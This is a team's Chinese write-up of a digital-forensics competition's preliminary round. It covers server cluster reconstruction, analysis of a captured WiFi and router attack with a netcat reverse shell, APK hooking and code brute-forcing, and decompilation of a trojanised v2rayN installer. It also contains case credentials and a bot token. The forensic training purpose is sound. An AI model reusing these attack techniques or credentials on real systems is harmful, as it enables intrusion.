第二届 数证杯电子数据取证分析大赛 初赛 题解¶
Author
NoahTie, BlackBird, Track @ tratra 什么都会
sparkle, kakahuote, npm @ 你说的都队
背锅表:
| 题目部分 | 背锅人 |
|---|---|
| 服务器取证 | NoahTie |
| 流量包分析 | sparkle & NoahTie |
| APK 程序分析 | kakahuote |
| 二进制程序分析 | kakahuote |
| 计算机取证 | npm & NoahTie |
| 计算机内存取证 | NoahTie |
| 物联网设备取证 | BlackBird |
| 移动终端取证 | BlackBird |
| 数据分析 | NoahTie |
比赛信息¶
写在前面¶
本来这里应该放案情的, 这场比赛根本没有案情. 和去年一样, 还是拼好题(几个厂商各出一两个检材).
手机检材是美亚出的, 对某次比武的检材进行了修改, 不过好在题目完全不同.
计算机检材是盘古出的, 里面一坨套娃 & 隐写 & 加密, 感觉吃了一坨盘古石杯的精华浓缩版.
服务器做起来的手感有点像弘连出的, 不太确定.
容器信息¶
容器密码: GQ7aXryvOC*M8qG*eXa19K9*g&jtHS*Gtrimps@Qx*aYt4oRwwK*HeN0A$#EPv*u
服务器取证¶
info
请根据服务器检材, 回答以下问题
服务器重建¶
这部分题目我在比赛的时候纯静态做的. 之前几次搭 k8s 的经验告诉我, 每次搭 k8s 中间必出问题, 比赛的时候为了节省时间, 直接去手撕 Docker 的 Overlayfs 了.
在"服务器检材01.E01"中看到网络配置信息, k8s 的主机一共 3 台, 有 2 个 node:


"服务器检材02.E01"和"服务器检材03.E01"分别是 2 个 node:


"服务器检材04.E01"则不是 k8s 的主机, 但其中安装有 mysql 和 redis, 可以猜到是分离的数据库服务器:


为了省去网络配置的过程, 直接将 VMware 的虚拟网卡的网段设置成与 k8s 主机相同的 192.168.50.0/24:

全部仿真以来之后通过 kubectl get nodes 查看节点信息, 2 个节点都上线了, 意外地顺利:

kubectl get pv 查看 Persist Volumn 的信息:

发现其中有一个 dujiaoka 疑似是发卡网站. kubectl describe pv pvc-e39f465b-8687-4cb0-a130-ec33fa9b1d63 查看该 pv 的信息:

源是通过 NFS 挂载的位于 192.168.50.83(服务器镜像 4)的 /data/k8s_data/default/dujiaoka 目录. 但是该目录不存在, 倒是看到了另外几个 pv 的目录:

在服务器 4 的 Bash 记录中可以看到用户在该目录下的一些操作:



注意到最后将 pv 目录的文件进行了压缩.
192.168.50.83 的服务器的 sshd 配置了禁止挑战-验证登录, 需要修改 sshd_config. 改完之后还是连不上, 看了一眼运行的服务, 发现有 firewalld, 用 systemctl stop firewalld & systemctl disable firewalld 关闭防火墙. 之后即可正常连接.
root 目录和 /data/k8s_data/default/ 目录下的文件:

顺便看一眼 nfs 服务的状态:

到此为止, 在 master 节点通过 kubectl get pods -A 可以看到除了 1 个 pod 之外, 其余 pod 都在正常运行:

通过 kubectl describe pod captcha-bot-6b4d85b765-25xq6 也没有看到有价值的报错信息:



看到这个 pod 的 Docker 容器运行在 192.168.50.82 这个 node 节点上, ssh 连接上看一下 docker 容器的日志:

看到报错是数据库连不上. 正常情况下, 在 tcp 192.168.50.80:30627 应该运行着一个数据库.
根据先前查看的 pod & pv 信息, k8s 集群中有 mysql 的 service 但没有配置 mysql 的 pod 和 pv / pvc, 但是在 192.168.50.83 服务器上确实安装着 mysql, 并且数据目录不为空:

结合 master 节点 root 目录下的配置文件, 出题人的意思应该是让重建 mysql 服务:

用 kubectl apply -f [filename] 来应用全部的 mysql 配置文件, 其中, pvc 的配置使用 mysql-80-pvc.yaml:

算了, 一堆配置都没有, 干脆把 root 目录下所有 k8s 的 yaml 全部 apply 一遍得了.
然后会发现 php-nginx 的 pod 卡在创建容器的步骤, 两个 node 都没有这个镜像, 看眼 log 发现从 docker.io 的 registry 拉不下来这个镜像, 估计是私有仓库的镜像吧:

不过 master 节点是有这个镜像的, 直接导出传到 2 个 node 上, 然后 docker load 一下:

scp 传到 node 上:
在 2 个 node 上 load:

虽然 php-nginx 的 pod 正常了, 但 captcha bot 的 pod 还是寄着:

看一眼 log:

原本跑在 kk.xilika.cc 的公网服务挂了, 那没招了. 不过还是能从 URL(http://kk.xilika.cc/bot8378348497:AAGSu7pC5rrDicjMqa7Mv9atvB1iE5NAZeY/getMe)里获得一些信息的, 比如, bot8378348497 大概率是 bot 的 ID, AAGSu7pC5rrDicjMqa7Mv9atvB1iE5NAZeY 大概是认证信息.
接着是最后一个问题, 需要将 192.168.50.83 服务器的 /root/dujiaoka.tar 中的源码恢复到 /data/k8s_data/default/ 目录下. 源码恢复之后就可以正常访问网站了:

k8s 的服务信息:

01 node1 节点的磁盘设备 SHA256 值前六位¶
答案
83629C1F6CD594533F9D50F9AA8F077F293679AFDCB3635E71BB73769BFA573C

02 集群配置了多少个 node 节点¶
答案
2
参考上述服务器重组过程.
03 嫌疑人于什么时间修改 master 节点的 root 密码¶
答案
09-19 09:35:59
在火眼的系统日志分析结果中可以看到:

仿真之后查看 /var/log/secure 也可以看到修改用户口令的记录:

04 Docker 的安装日期¶
答案
2025-04-08 20:24:14
在 Bash 记录中可以看到 Docker 是使用 yum 安装的:

在火眼的系统日志分析结果中:

或者查看 /var/log/secure* 日志文件:

05 Docker 通过配置守护进程以使用全局代理, 该代理地址的端口¶
答案
4780
已经提示了是守护进程(deamon)了, 可以直接用 service 或者 systemctl 看 docker.d 的配置信息, 然后去找到配置的代理.


06 发卡网站使用的 Mysql 数据库对外访问端口¶
答案
30627
可以用 kubectl get service 或 kubectl get svc 查看服务信息.

之后还有关于 k8s 配置相关的问题, 直接用 kubectl get all 可以省点事:

07 发卡网站部署使用的镜像名称¶
答案
webdevops/php-nginx:7.4
查看过几个主机的 Bash 记录之后, 可以看到用户使用 docker load -i(与 docker image load 功能相同)从许多 tar 包中加载了镜像:


而几个主机上正在运行的容器都没有包含发卡网站的容器. 在 master 节点的 root 目录下可以看到与发卡网站有关的配置文件:

Nginx 配置:

pvc(Persist Volumn Claim)配置:

sv(Supervisor)配置:

用 kubectl get pvc 或 kubectl get pv 可以看到关于"dujiaoka"的 pv 信息:

在第 4 个服务器镜像的 root 目录中可以找到网站源码的 tar 包:

其中包含 docker-compose.yaml 和 Dockerfile. 从 Dockerfile 中可以看出来, 发卡网站的镜像是基于 webdevops/php-nginx:7.4 镜像构建的.
08 当前 Telegram 群管机器人使用的容器 ID 的前六位¶
答案
8fadf5
kubectl describe all:

在火眼的 docker 容器分析结果中也能看到:

09 发卡网站使用的缓存数据库¶
答案
redis
这道题比较白给, 服务器上一共就两种数据库, 一个 mysql 一个 redis, 猜都能猜到 redis 是缓存数据库.
正常情况下要查看源码中的配置文件确定:

或者查看 redis 数据库的内容也可以判断:

10 集群中配置的发卡网站代码运行所在的物理目录¶
答案
/data/k8s_data/default/dujiaoka
参考上述服务器重组过程.
11 Telegram 群管机器人配置的 API 代理域名¶
答案
kk.xilika.cc
参考上述重建过程, captcha-bot 是 Telegram 群管理机器人.
在 192.168.50.83 服务器的 /data/k8s_data/default/captchaBot/ 目录为该 pod 的 pv 目录. 该目录中的 config/config.toml 是配置文件, 其中包含 api_proxy="http://kk.xilika.cc" 是 API 代理域名:

在重建过程中 captcha-bot pod 的报错信息中也能看到该域名.
12 嫌疑人在 Telegram 上创建的群名称¶
答案
西门庆交流群
在 master 节点的 /root/mysql-d.yaml 中保存着容器的环境变量 MYSQL_ROOT_PASSWORD=LKKD23mjakl213dmmm:

通过 kubectl get services 查看 k8s 的服务信息, 看到 mysql 的端口从 3306 映射到 30627:

使用 Navicat 连接数据库:

在 captchabot 数据库的 user_captcha_record 表中看到所有记录的 telegram_chat_name 字段值均为"西门庆交流群":

或者也可以直接用火眼数据库分析工具解析 192.168.50.83 服务器上的 mysql 文件.

13 统计嫌疑人在 Telegram 上创建的群中 2025 年 6 月之后成功入群的人数¶
答案
2422
接上题. 浏览数据, 看到所有 captcha_success_time 字段有数据的记录, 其 captcha_status 字段均为"1", 判断这些为通过了验证的记录:


14 据嫌疑人交代曾在发卡网上删除过一条订单数据, 请找出该删除订单的订单号¶
答案
4V8XNK8Q02MD5D2R
在 dujiaoka 数据库的 orders 表中存储着订单记录. 有一个 deleted_at 字段, 但经过查询发现所有记录的该字段均为 null. 因此应该不是在后台删除的, 而是直接在数据库中删除.
使用 mysql 自带的组件 mysqlbinlog 解析数据库存储目录 /data/k8s_data/default/mysql80/ 目录下的 binlog.000001 和 binlog.000002:
之后在得到的 binlog_2 文件中搜索 delete 关键字就可以找到被删除的数据:

订单号 order_sn 是第 2 个字段, 为 @2='4V8XNK8Q02MD5D2R'.
或者也可以使用火眼数据库取证工具, 在解析数据时勾选"恢复删除数据"选项. 即可看到一些被删除的数据, 对照数据后发现, 其中只有 id 为 6924 的数据是被删除的, 其余的是被修改的数据:

15 发卡网站上 2025 年 6 月之后订单交易成功的总金额(忽略被删除的数据)¶
答案
295202
Navicat 连上的数据库就是不包含删除的数据的, 从 status 字段的注释可以看出来 4 代表订单已完成:

如果使用火眼的数据库取证工具则需要注意排除恢复出来的数据和被删除的数据; 或者可以重新进行一次分析, 不勾选"恢复删除数据"选项.
16 发卡网站的后台访问路径¶
答案
/admin
在网站源码中的 .env 文件中可以看到网站后台地址前缀的配置:

通过访问 http://192.168.50.80:31669/admin 可以验证.
17 计算出用户密码算法中 Salt 的值, 并进行 Base64 编码, 结果是¶
答案
lAID2ktDeRlGbcg=
在 admin_users 表中看到目前平台有 2 个管理员用户, 从密码格式可以判断使用的是 bcrypt 哈希:

根据题目描述, 这里存储的密码是加过盐的哈希, 需要去源码中查找哈希函数的实现.
在 /app/Admin/Controller.php 中看到直接是派生了 Dcat 的 AuthController:

相当于这里要去审计 Laval 的源码. 不过我记得原生的 Laravel 是没有 bcrypt 加盐的, 而 AdminController 里面又没有东西, 估计是魔改了 Laravel 的源码. 在 composer.php 中看到使用的 Laravel 版本是 6.20.42:

版本太老了, 源码都不好找, 只能找到 6.20.1 的了. /vender/Lavarel/src/Illumanate 中是 Lavarel 的组件, 其中的 Auth 中是与认证相关的组件, Hashing 则是与哈希相关的组件, 魔改源码的地方可能在这两处.
在 Illuminate 可以下载到这些组件的源码.
用 WinMerge 对比 2 份源码, 发现 Hashing 的 BcryptHasher.php 被修改:

文件的区别:


计算盐的函数是 getSalt:
protected function getSalt() // 去掉 protected
{
$a = 'sdahjklhl212jkljass';
$b = hash('sha256', $a, true);
$c = substr($b, 0, 16);
$d = base64_decode('xPfGJQaE1zE5d+8=');
$e = '';
for($i=0;$i<strlen($d);$i++) {
$e .= chr(ord($d[$i]) ^ ord($c[$i]));
}
return $e; // 修改为 return base64_encode($e);
}
对 return 进行修改, 去掉 protected 属性之后, 直接在终端通过 php -r "include 'getSalt.php'; echo getSalt();" 运行 php 源码:

根据魔改过的登录逻辑, 重新写一个 bcrypt 加密函数:
<?php
function getSalt()
{
$a = 'sdahjklhl212jkljass';
$b = hash('sha256', $a, true);
$c = substr($b, 0, 16);
$d = base64_decode('xPfGJQaE1zE5d+8=');
$e = '';
for ($i = 0; $i < strlen($d); $i++) {
$e .= chr(ord($d[$i]) ^ ord($c[$i]));
}
return $e;
}
function newCrypt($pwd, $cost = 10)
{
$pwd .= getSalt();
return password_hash($pwd, PASSWORD_BCRYPT, ['cost' => 10]);
}

修改数据库中 admin 用户的密码, 即可使用 admin/admin 登陆后台:

18 发卡网站配置的邮件发送人地址¶
答案
ituzz@qq.com
在后台的"配置"->"系统设置"->"邮件服务"中:

本题和 [[#20 当前发卡网站中绑定的订单推送 Telegram 用户 id]] 的答案也可以在 Redis 数据库中找到:

19 当前发卡网站首页仪表盘中显示的发卡网站版本¶
答案
V2.0.5
参考[[#17 计算出用户密码算法中 Salt 的值, 并进行 Base64 编码, 结果是]]中的分析.
20 当前发卡网站中绑定的订单推送 Telegram 用户 id¶
答案
6213151597
在后台的"配置"->"系统设置"->"订单推送服务"中:

流量包分析¶
info
请根据网络流量包检材, 回答以下问题
找到的一个博客, 关于 2024 数证杯流量分析也可以借鉴 入侵检测之流量分析--识别常见恶意行为-先知社区.
比赛前刚做了 24 数证, 当时我也做的流量分析, 不知道是不是我个人问题, 数据量太大的过滤 wireshark 会直接崩溃, 后来我发现最方便的是 notepad++, 一把梭. 但是对于每个包的返回帧的 frame 编号还是用 wireshark 分析好用(赛后更新了 wireshark, 不会卡崩退了, 应该是版本问题).
本流量包主要是一个攻击者连接 wifi, 攻击路由后台管理界面, 劫持 qq 域名, Netcat 反向 Shell 链式命令建立监听通道的过程.
为什么这套题用 notepad++ 一把嗦会如此方便? 因为 OpenWrt(Luci) 的路由器提供一个 web-GUI 配置界面, 这种传输协议一般都是 HTTP(S). 但在大多数流量分析, 没有额外藏 TLS key 的情况下都是 HTTP 协议, 所以一切尽在 post 中.
21 黑客攻击的目标路由器 SSID¶
答案
laozhaoWIFI
是 laozhaoWIFI 还是 laozhaoWIFI5G, 是一个双频路由器传播的频段不同而已, 但是 SSID 也会对两个频段区分, 我们这里还区分吗

22 黑客成功捕获了 WIFI 中 WPA 协议握手包, 其中有效握手包组数¶
答案
4
Wireshark 过滤器输入 eapol 进行过滤, 然后找到 4 次握手完成, eal 或者 _ws.col.protocol == "EALOP"

23 黑客爆破得出的 WiFi 密码¶
答案
password1110
从第一个搜 ssid 时候就看到了对于路由器的 WIFI 配置, 再确认一次搜索 key

24 黑客成功连接 Wifi 后, 发现路由器操作系统为¶
答案
ImmortalWrt
操作系统直接搜 distribution 找版本

追踪 websocket 流量之后也可以看到 websocket 中 shell 中包含的主机名, 是系统的默认主机名:

或者追踪 HTTP 流量:

25 黑客对路由器后台进行爆破攻击, 该路由器后台密码¶
答案
password
查看流量包直接追踪流, 找到那几个 password 的 POST 帧 [Response in Frame:xxxx], 找被攻击方返回的状态码, 判断哪一个登陆成功, 最开始是拿排除法做的, 最优解应该如下文追踪流来看最省力
| 密码 | 返回的帧 | 返回的状态 |
|---|---|---|
| 12345678 | 52809 | 403 forbidden |
| 987654321 | 54408 | 403 forbidden |
| password | 55956 | 302(登陆成功 重定向) |



26 黑客通过修改路由器设置, 将被劫持的域名¶
答案
www.qq.com
比赛时比较偷懒的做法:
按照题目格式, 直接正则匹配了(戳手

比较正经的做法:
通过上述分析, 可以知道攻击者的攻击路线:
- 爆破路由器密码
- 登录后台并修改配置 & 执行命令
- 结合后续题目, 应该还在后台中运行了 shell 指令, 开启了反弹 Shell
- 在反弹 Shell 中执行命令
此处域名劫持应该是修改了路由器的配置.
查看 HTTP 协议的请求统计:

可以判断 URI 包含 /cgi-bin/luci/admin 的为访问路由器管理后台的请求:

ubus 则是 OpenWrt 的消息/RPC 总线, 命令的执行将通过 ubus 传递并回应.
使用 http.request.uri contains "/cgi-bin/luci/admin" or http.response 过滤向路由器管理页面发起的 http 请求及 http 响应. 访问的功能中最有可能有劫持域名功能的是 DHCP.
使用 http.referer == "http://192.168.1.1/cgi-bin/luci/admin/network/dhcp" 过滤由 dhcp 功能传输给 dbus 的请求, 在其中找到了将 www.qq.com 解析到 192.168.1.244 的请求:

27 黑客在路由器管理后台发现 FTP 服务配置, FTP 登录密码¶
答案
mast
ftp 或者 _ws.col.protocol == "FTP" 都可以

28 黑客通过 FTP 上传了一个压缩包文件, 该文件内容¶
答案
code:123456789
wireshark -> 文件 —> 导出对象 -> FTP DATA 选择压缩包, 导出之后发现要密码, passware 或者 zipcrack 爆破得到密码是 4321, 里面有个 flag.txt 内容是: code:123456789

29 黑客通过路由器执行 shell 脚本, 反弹 shell 的监听端口¶
答案
4445
执行shell脚本, 都会想到用 /bin/sh. 因为是 HTTP 传的明文, 所以直接搜索 /bin/sh, 可以看到 nc 连接的端口是 4445, 即反弹 shell 的监听端口是 4445.

30 黑客通过反弹 shell 成功控制目标路由器后, 总共执行了多少条命令¶
答案
4
根据上题看到的指令, 用 tcp.dstport == 4445 and ip.addr == 192.168.1.1 过滤反弹 shell 的流量.
追踪 TCP 流, 可以看到一共执行了 4 条命令


APK 程序分析¶
info
请根据APK检材, 回答以下问题
31 apk 的版本名称¶
答案
3.0.12

32 在该 APP 中, 调用了哪个 System 的方法用于获取本地系统的时间戳¶
答案
currentTimeMillis
果然分析的第一件事是查壳:

雷电能一键去壳, 省了很多麻烦. 但是比较坑的是用它的自动脱壳有时还会抽风, 只脱一次不够, 后文的变量都找不到...
用它的 jadx 打开, 全局搜索 time 就能找到:

33 apk 运行后 getVer() 的返回值¶
答案
4.56.23
搜索这个方法:

只有一个地方调用了, 那就对它进行 hook
不知道为什么我的雷电不能连接, 就用本机环境了(好在关闭雷电可以选择不关闭他的 jadx)
spawn 不行, 有可能这个 app 有初始化注入检测, 使用 attach:
Java.perform(function(){
var v =Java.use("net.net.MainActivity").getVer();
console.log("[getVer] " + v);
});
34 apk 运行后需要通过一个 http get 请求才能打开第二个界面, 给出该请求 URL¶
答案
http://127.0.0.1:60723/K0pQvBZ38ykL26OzfshqYTHC2f7RUJYIgrmIF6GcORU=?hash=983f8a605d16530190c09b0884d7cef1&ver=4.56.23&ts=1727899789
细看调用了 getver() 的这个包, 实际就是要分析的代码:
package net.net;
// snip
/* loaded from: F:\保存\2025数证杯初赛\20251101095245P\res\2\unpack\0x763875e15000_6179692.dex */
public class MainActivity extends AppCompatActivity {
private static final int PORT = 60723;
private static String apkHash = "";
private static WeakReference<Context> sContext = null;
private static String ts = "";
static {
StubApp.interface11(9395);
}
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public native void onCreate(Bundle bundle);
public static /* synthetic */ WindowInsetsCompat lambda$onCreate$0(View view, WindowInsetsCompat windowInsetsCompat) {
Insets insets = windowInsetsCompat.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(insets.left, insets.top, insets.right, insets.bottom);
return windowInsetsCompat;
}
/* JADX WARN: Type inference failed for: r2v4, types: [io.netty.channel.ChannelFuture] */
@QVMProtect
public void startHttpServer() {
NioEventLoopGroup nioEventLoopGroup = new NioEventLoopGroup(1);
NioEventLoopGroup nioEventLoopGroup2 = new NioEventLoopGroup();
try {
try {
ServerBootstrap serverBootstrap = new ServerBootstrap();
serverBootstrap.group(nioEventLoopGroup, nioEventLoopGroup2).channel(NioServerSocketChannel.class).childHandler(new ChannelInitializer<SocketChannel>() { // from class: net.net.MainActivity.1
@Override // io.netty.channel.ChannelInitializer
public void initChannel(SocketChannel socketChannel) {
socketChannel.pipeline().addLast(new HttpRequestDecoder());
socketChannel.pipeline().addLast(new HttpResponseEncoder());
socketChannel.pipeline().addLast(new HttpObjectAggregator(65536));
socketChannel.pipeline().addLast(new HttpRequestHandler(null));
}
});
?? sync = serverBootstrap.bind(PORT).sync();
Log.d("NettyHttpServer", "Server started on port 60723");
sync.channel().closeFuture().sync();
} catch (InterruptedException e) {
e.printStackTrace();
}
} finally {
nioEventLoopGroup.shutdownGracefully();
nioEventLoopGroup2.shutdownGracefully();
}
}
/* loaded from: F:\保存\2025数证杯初赛\20251101095245P\res\2\unpack\0x763875e15000_6179692.dex */
public static class HttpRequestHandler extends SimpleChannelInboundHandler<FullHttpRequest> {
/* synthetic */ HttpRequestHandler(MainActivityIA mainActivityIA) {
this();
}
private HttpRequestHandler() {
}
@Override // io.netty.channel.SimpleChannelInboundHandler
public void channelRead0(ChannelHandlerContext channelHandlerContext, FullHttpRequest fullHttpRequest) {
if (!fullHttpRequest.headers().get(HttpHeaderNames.HOST).startsWith("localhost:")) {
sendResponse(channelHandlerContext, "error");
} else if (Uri.decode(fullHttpRequest.uri()).equals(String.format("/%s?hash=%s&ver=%s&ts=%s", MultiLayerEncryption.multiLayerEncrypt("check_apk_status"), MainActivity.apkHash, MainActivity.getVer(), MainActivity.ts))) {
new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: net.net.MainActivity$HttpRequestHandler$$ExternalSyntheticLambda0
@Override // java.lang.Runnable
public final void run() {
((Context) MainActivity.sContext.get()).startActivity(new Intent((Context) MainActivity.sContext.get(), SecondActivity.class));
}
});
sendResponse(channelHandlerContext, "into SecondActivity");
} else {
sendResponse(channelHandlerContext, "error");
}
}
private void sendResponse(ChannelHandlerContext channelHandlerContext, String str) {
DefaultFullHttpResponse defaultFullHttpResponse = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK);
defaultFullHttpResponse.content().writeBytes(str.getBytes());
defaultFullHttpResponse.headers().set("Content-Type", (Object) HttpPostBodyUtil.DEFAULT_TEXT_CONTENT_TYPE);
defaultFullHttpResponse.headers().set("Content-Length", (Object) Integer.valueOf(defaultFullHttpResponse.content().readableBytes()));
channelHandlerContext.writeAndFlush(defaultFullHttpResponse);
}
}
@QVMProtect
public static String readFileFromAssets(Context context, String str) {
return (String) ((QVM_readFileFromAssets) q.vm.protect.QVMProtect.buildInstance(QVM_readFileFromAssets.class)).execute(context, str);
}
@QVMProtect
public static String getApkHash(Context context) {
return (String) ((QVM_GetApkHash) q.vm.protect.QVMProtect.buildInstance(QVM_GetApkHash.class)).execute(context);
}
@QVMProtect
public static String getVer() {
return (String) ((QVM_GetVer) q.vm.protect.QVMProtect.buildInstance(QVM_GetVer.class)).execute(new Object[0]);
}
}
服务器监听本地 60723 端口, 收到请求后验证, 接着启动 SecondActivity, 也就是下题的第二界面. 具体的参数和顺序:
Uri.decode(fullHttpRequest.uri()).equals(String.format("/%s?hash=%s&ver=%s&ts=%s", enc, apkHash, getVer(), ts))
和上题一样 hook 就行:
Java.perform(function(){
var app = Java.use("android.app.ActivityThread").currentApplication();
Java.classFactory.loader = app.getClassLoader();
var MA = Java.use("net.net.MainActivity");
var ver = String(MA.getVer());
var apkHash = String(MA.apkHash.value);
var ts = String(MA.ts.value);
var enc = String(Java.use("net.net.crypto.MultiLayerEncryption").multiLayerEncrypt("check_apk_status"));
console.log("http://127.0.0.1:60723/" + enc + "?hash=" + apkHash + "&ver=" + ver + "&ts=" + ts);
});
输出:

其实上一题问的都多余了, 这一题需要的参数也包括了 getVer(), 加一个打印就行
35 apk 第二界面的 8 位授权码¶
答案
84572399
跟进查看 SecondActivity:
package net.net;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.stub.StubApp;
/* loaded from: F:\保存\2025数证杯初赛\20251101095245P\res\2\unpack\0x763875e15000_6179692.dex */
public class SecondActivity extends AppCompatActivity {
static {
StubApp.interface11(9411);
}
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public native void onCreate(Bundle bundle);
private void showAuthCodeDialog() {
final EditText editText = new EditText(this);
editText.setHint("请输入授权码");
new AlertDialog.Builder(this).setTitle("授权验证").setMessage("请输入授权码进行验证:").setView(editText).setPositiveButton("确认", new DialogInterface.OnClickListener() { // from class: net.net.SecondActivity$$ExternalSyntheticLambda0
@Override // android.content.DialogInterface.OnClickListener
public final void onClick(DialogInterface dialogInterface, int i) {
SecondActivity.this.m1732lambda$showAuthCodeDialog$0$netnetSecondActivity(editText, dialogInterface, i);
}
}).setNegativeButton("取消", new DialogInterface.OnClickListener() { // from class: net.net.SecondActivity$$ExternalSyntheticLambda1
@Override // android.content.DialogInterface.OnClickListener
public final void onClick(DialogInterface dialogInterface, int i) {
SecondActivity.this.m1733lambda$showAuthCodeDialog$1$netnetSecondActivity(dialogInterface, i);
}
}).setCancelable(false).show();
}
/* renamed from: lambda$showAuthCodeDialog$0$net-net-SecondActivity */
public /* synthetic */ void m1732lambda$showAuthCodeDialog$0$netnetSecondActivity(EditText editText, DialogInterface dialogInterface, int i) {
if (editText.getText().toString().hashCode() == -711638849) {
showSuccessDialog();
} else {
Toast.makeText(this, "授权码错误", 0).show();
}
}
/* renamed from: lambda$showAuthCodeDialog$1$net-net-SecondActivity */
public /* synthetic */ void m1733lambda$showAuthCodeDialog$1$netnetSecondActivity(DialogInterface dialogInterface, int i) {
finish();
}
private void showSuccessDialog() {
new AlertDialog.Builder(this).setTitle("验证成功").setMessage("授权码验证通过!").setPositiveButton("确定", new DialogInterface.OnClickListener() { // from class: net.net.SecondActivity$$ExternalSyntheticLambda2
@Override // android.content.DialogInterface.OnClickListener
public final void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
}
}).show();
}
}
授权码的验证代码:
public /* synthetic */ void m1732lambda$showAuthCodeDialog$0$netnetSecondActivity(EditText editText, DialogInterface dialogInterface, int i) {
if (editText.getText().toString().hashCode() == -711638849) {
showSuccessDialog();
} else {
Toast.makeText(this, "授权码错误", 0).show();
}
}
输入授权码后会计算 String.hashCode(), 如果哈希值等于 -711638849 则验证通过
java 的字符串哈希算法是固定的, 可以通过它爆破出对应的正确值, 题目限定了八位纯数字进一步缩小范围:
T = -711638849; M = 2**32
p31 = [pow(31, 7 - i, M) for i in range(8)]
from collections import defaultdict
m = defaultdict(list)
for i in range(10000):
s = f"{i:04d}"
h = sum(ord(c) * p31[j] for j, c in enumerate(s)) % M
m[h].append(s)
u = T & 0xFFFFFFFF
for i in range(10000):
t = f"{i:04d}"
h = sum(ord(c) * p31[4+j] for j, c in enumerate(t)) % M
need = (u - h) % M
if need in m:
for s in m[need]:
x = s + t
h2 = 0
for c in x:
h2 = (31*h2 + ord(c)) & 0xFFFFFFFF
if h2 - M if h2 & 0x80000000 else h2 == T:
print("授权码:", x)
exit()
或者直接用 Java 跑(原汤化原食, 老祖宗的智慧是对的):
public class AuthorizationCodeCracker {
private static final int TARGET_HASH = -711638849;
public static void main(String[] args) {
for (int i = 0; i < 100000000; i++) {
String code = String.format("%08d", i);
if (code.hashCode() == TARGET_HASH) {
System.out.println(code);
return;
}
}
}
}

二进制程序分析¶
info
请在安全的环境下安装该程序, 并回答以下问题
环境 Win 10, IDA 9.0+.
36 安装该程序后, 该恶意程序的可执行文件所在的直接父目录名称¶
答案
proxy
安装包是一个 v2rayN 的安装包:

在安装目录下有一个 exe, 但这并非题目要求分析的程序, 真正的可执行文件是通过桌面快捷方式查看的:

如果没有虚拟环境的话, 也可以使用 innoup 工具对安装包进行解包:

可以看到, 其中大部分内容是正常的 V2RayN 的文件, 但多出了几个不太正常的文件, 在安装脚本 install_script.iss 中可以比较明显地看到:

并且可以发现安装后运行和创建地快捷方式都指向了 v2ray.exe, 这不是正常的 V2RayN 的启动进程:

37 解密文件名为"RnRGaWxlcy5lZGIiL"的文件时所使用的 key¶
答案
1Njc2NTQ2Mzc0NTc
proxy文件夹下存放的就是之后题目要用到的三个文件:

拖进 IDA 分析, 先找 main 函数位置, 或者搜索 RnRGaWxlcy5lZGIiL 文件名也行:


反编译:
int __fastcall main(int argc, const char **argv, const char **envp)
{
// definations snip
hWnd = GetConsoleWindow();
ShowWindow(hWnd, 0);
Buffer = 0;
Stream = wfopen(L"RnRGaWxlcy5lZGIiL", L"rb");
Stream_1 = Stream;
if ( Stream )
{
fseek(Stream, 0, 2);
Size = ftell(Stream_1);
fseek(Stream_1, 0, 0);
Buffer = j__malloc_base(Size);
fread(Buffer, 1u, Size, Stream_1);
n0x40 = Size;
fclose(Stream_1);
}
Src = Buffer;
sub_140001BF0(v6, 16, Buffer, Buffer);
if ( !Buffer )
sub_140001010((int)"fail!!!\r\n");
sub_140001070(v10, v9, v11);
return 0;
}
程序把文件内容读取到 Buffer 缓冲区, 然后调用sub_140001BF0函数对其进行操作, 之后还调用了 sub_140001070 函数, 作用未知.
先看sub_140001BF0:
void __fastcall sub_140001BF0(__int64 a1, __int64 n16, __int64 Buffer, _BYTE *a4)
{
// definations snip
v4 = 0;
n16_1 = n16;
v8 = 0;
if ( (int)n16 <= 0 )
{
v27 = v36;
v4 = v35;
}
else
{
si128 = _mm_load_si128((const __m128i *)&xmmword_1400237E0);
v10 = &v34;
v11 = (__m128)_mm_load_si128((const __m128i *)&xmmword_1400237F0);
n8 = 8;
do
{
v10 += 16;
v13 = n8 + 4;
v14 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 8), 0), si128), v11);
v15 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 4), 0), si128), v11);
v16 = _mm_packus_epi16(v14, v14);
v17 = _mm_packus_epi16(v15, v15);
*((_DWORD *)v10 - 5) = _mm_cvtsi128_si32(_mm_packus_epi16(v16, v16));
*((_DWORD *)v10 - 4) = _mm_cvtsi128_si32(_mm_packus_epi16(v17, v17));
v18 = _mm_cvtsi32_si128(n8);
n8 += 16;
v19 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(v18, 0), si128), v11);
v20 = _mm_packus_epi16(v19, v19);
v21 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v13), 0), si128), v11);
*((_DWORD *)v10 - 3) = _mm_cvtsi128_si32(_mm_packus_epi16(v20, v20));
v22 = _mm_packus_epi16(v21, v21);
*((_DWORD *)v10 - 2) = _mm_cvtsi128_si32(_mm_packus_epi16(v22, v22));
}
while ( (int)(n8 - 8) < 256 );
n256 = 0;
v24 = v33;
do
{
v25 = *v24;
v8 = (v25 + (unsigned __int8)a1njc2ntq2mzc0n[n256 % n16_1] + v8) % 256; // 重要
v26 = &v33[v8];
++n256;
*v24++ = *v26;
*v26 = v25;
}
while ( n256 < 256 );
v27 = 0;
v36 = 0;
}
if ( Buffer )
{
if ( a4 )
{
n0x40 = ::n0x40;
if ( ::n0x40 >= 1LL )
{
v29 = Buffer - (_QWORD)a4;
do
{
v30 = (v4 + 1) % 256;
v35 = v30;
v36 = (v27 + (unsigned __int8)v33[v30]) % 256;
v31 = &v33[v30];
v32 = *v31;
*v31 = v33[v36];
v33[v36] = v32;
v27 = v36;
v4 = v35;
